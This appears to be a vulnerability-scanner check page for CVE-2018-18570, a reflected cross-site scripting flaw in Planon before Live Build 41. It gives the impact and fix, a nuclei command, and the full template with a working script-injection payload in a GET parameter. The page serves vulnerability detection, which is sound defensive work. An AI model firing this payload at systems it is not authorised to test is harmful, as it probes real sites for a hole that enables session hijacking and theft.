Planon <Live Build 41 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Planon before Live Build 41 is vulnerable to cross-site scripting.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest patch or upgrade to a non-vulnerable version of Planon Live Build.

How to confirm it

Send: GET {{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-18570 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-18570

info:
  name: Planon <Live Build 41 - Cross-Site Scripting
  author: emadshanab
  severity: medium
  description: Planon before Live Build 41 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of Planon Live Build.
  reference:
    - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18570
    cwe-id: CWE-79
    epss-score: 0.02465
    epss-percentile: 0.84616
    cpe: cpe:2.3:a:planonsoftware:planon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: planonsoftware
    product: planon
  tags: cve,cve2018,xss,planon,planonsoftware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from